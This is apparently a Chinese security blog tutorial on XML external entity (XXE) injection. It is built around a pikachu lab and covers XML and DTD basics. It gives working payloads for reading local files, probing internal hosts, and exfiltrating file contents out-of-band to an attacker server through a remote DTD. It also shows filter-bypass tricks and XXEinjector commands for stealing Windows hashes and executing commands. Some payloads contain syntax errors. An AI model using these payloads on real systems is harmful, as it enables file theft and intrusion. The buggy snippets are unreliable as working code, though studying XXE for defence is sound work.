XML XXE漏洞
S3a Lv3

XML XXE漏洞

基础概念

1、xml基础概念

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2、XML与HTML的主要差异

XML被设计为传输和存储数据,其焦点是数据的内容。

HTML被设计用来显示数据,其焦点是数据的外观。

HTML旨在显示信息,而XML旨在传输信息。

3、xml示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>

<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD一般认为有两种引用或声明方式:

  • 1、内部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
  • 2、外部DTD:即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件(.dtd)中。

DTD实体有以下几种声明方式

内部实体

1
2
3
4
5
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->

参数实体

1
2
3
4
5
6
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1</note>
<!-- awsl -->
  • 参数实体用% name申明,引用时用%name;,只能在DTD中申明,DTD中引用。
  • 其余实体直接用name申明,引用时用&name;,只能在DTD中申明,可在xml文档中引用

外部实体

1
2
3
4
5
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
<!-- Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA== -->

外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

image

上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有

image

靶场讲解 (pikachu xxe漏洞)

image

  1. 文件读取
1
2
3
4
<?xml version="1.0"?> 
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///d:/test.txt" > ]>
<foo>&xxe;</foo>

image

  1. 内网探针或攻击内网应用(触发漏洞地址)
1
2
3
4
5
6
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
]>
<foo>&rabbit;</foo>

上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。

无回显-读取文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.xx.xxx:80XX/test.dtd">
%dtd;
%send;
]>


test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM
'http://192.168.xx.xxx:80xx/?data=%file;'>"
>
%payload;

上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。

绕过

ENTITY SYSTEM file等关键词被过滤

使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

若http被过滤,可以

data://协议绕过

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">
%a;
%b;
]>
<test>&hhh;</test>

file://协议加文件上传

1
2
3
4
5
6
7
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
%a;
]>
<test>
&hhh;
</test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

xxe工具

​ XXEinjector本身提供了非常非常丰富的操作选项,所以大家在利用XXEinjector进行渗透测试之前,请自习了解这些配置选项,以最大限度地发挥XXEinjector的功能。当然了,由于XXEinjector是基于Ruby开发的,所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。

参数说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
--host     			必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).
--enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。

工具使用

枚举HTTPS应用程序中的/etc目录:

1
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚举/etc目录:

1
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:

1
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP带外方法和netdoc协议对文件进行爆破攻击:

1
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通过直接性漏洞利用方式进行资源枚举:

1
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚举未过滤的端口:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

窃取Windows哈希:

1
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上传文件:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect执行系统指令:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

测试XSLT注入:

1
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

记录请求信息:

1
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
 Comments
Comment plugin failed to load
Loading comment plugin